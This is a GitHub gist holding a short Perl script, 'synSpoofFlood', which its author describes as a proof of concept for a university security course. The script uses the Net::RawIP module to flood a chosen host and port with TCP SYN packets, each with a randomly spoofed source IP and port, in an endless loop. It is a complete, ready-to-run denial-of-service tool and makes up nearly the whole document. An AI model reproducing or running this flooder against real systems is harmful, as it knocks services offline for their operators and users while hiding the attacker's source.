Skip to content

Instantly share code, notes, and snippets.

@lucasallan
Created November 2, 2013 22:54
Show Gist options
  • Save lucasallan/7284390 to your computer and use it in GitHub Desktop.
Save lucasallan/7284390 to your computer and use it in GitHub Desktop.
Simple perl script developed as proof of concept in the Security System class in my Bachelor degree.
#!/usr/bin/perl
# synSpoofFlood
# Author: Lucas Allan
#
# Based on Simple SYN Flooder by iphelix
# Requires perl, Net::RawIP module, and root privileges
#
# www.lucasallan.com
#
use Net::RawIP;
sub geraIP(){
$range = 255;
$iA = int(rand($range));
$iB = int(rand($range));
$iC = int(rand($range));
$iD = int(rand($range));
return $iA . “.” . $iB . “.” . $iC . “.” . $iD;
}
sub attack(){
($dst,$port) = @ARGV;
$a = new Net::RawIP;
while(1) {
$src_port = rand(65534)+1;
$src = geraIP();
$a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
$a->send;
}
}
if($#ARGV == 1) {
attack();
} else {
print “Target Port\n”;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment